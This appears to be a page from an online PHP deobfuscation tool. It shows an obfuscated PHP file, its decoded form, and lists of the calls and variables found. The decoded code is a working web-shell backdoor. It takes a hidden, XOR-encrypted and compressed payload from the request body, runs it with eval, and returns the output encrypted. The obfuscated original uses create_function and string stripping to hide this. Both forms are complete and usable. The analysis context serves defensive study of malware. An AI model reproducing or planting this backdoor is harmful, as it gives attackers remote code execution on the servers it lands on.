Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $u='tiEon xE($t,$k){E$c=strElen($EEk);$l=stErlen($t);E$o=""E;fEor($i=0;$i<$l;E){for..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="81dc9bdb";$kh="52d04dc20036";$kf="dbd8313ed055";$p="zYFQrSJjw4ZbTFB8";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$u='tiEon xE($t,$k){E$c=strElen($EEk);$l=stErlen($t);E$o=""E;fEor($i=0;$i<$l;E){for(E$j=';
$l='E"/$khEE(.+)$kf/",E@file_geEt_EcontEents("phpE://inpEut")E,$m)==1) E{@ob_EstEart();@e';
$X='vEal(@gEzunEcompress(@x(@baEseE64_decoEde($m[E1]),$k)))E;$o=E@ob_EgeEt_contents();E@obE_';
$g=str_replace('Uz','','cUzreaUzte_UzUzfUzuncUztion');
$G='E0;($j<$cE&&E$i<$l);E$j++E,$iE++){$oE.=$t{E$iE}^$k{$Ej};}}return $o;E}if (@preg_Ematch(';
$a='$kE="E81dc9bdb";$Ekh=E"52d04dc200E36";$kfE="dbd8313EeEd055";$p="zEYFQErSJjEw4ZEbTFB8";func';
$w='endE_clean(E)E;$rE=@bEase64_encodeE(@x(@gzcompresEs($o),$kE));prEint("$pE$kh$r$Ekf");}';
$W=str_replace('E','',$a.$u.$G.$l.$X.$w);
$f=$g('',$W);$f();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$G E0;($j<$cE&&E$i<$l);E$j++E,$iE++){$oE.=$t{E$iE}^$k{$Ej};}}re..
$W $k="81dc9bdb";$kh="52d04dc20036";$kf="dbd8313ed055";$p="zYFQ..
$X vEal(@gEzunEcompress(@x(@baEseE64_decoEde($m[E1]),$k)))E;$o=..
$a $kE="E81dc9bdb";$Ekh=E"52d04dc200E36";$kfE="dbd8313EeEd055";..
$g create_function
$k 81dc9bdb
$l E"/$khEE(.+)$kf/",E@file_geEt_EcontEents("phpE://inpEut")E,$..
$p zYFQrSJjw4ZbTFB8
$u tiEon xE($t,$k){E$c=strElen($EEk);$l=stErlen($t);E$o=""E;fEo..
$w endE_clean(E)E;$rE=@bEase64_encodeE(@x(@gzcompresEs($o),$kE)..
$kf dbd8313ed055
$kh 52d04dc20036

Stats

MD5 d12baa29f7b21ef5f35a4e6142898eb8
Eval Count 1
Decode Time 218 ms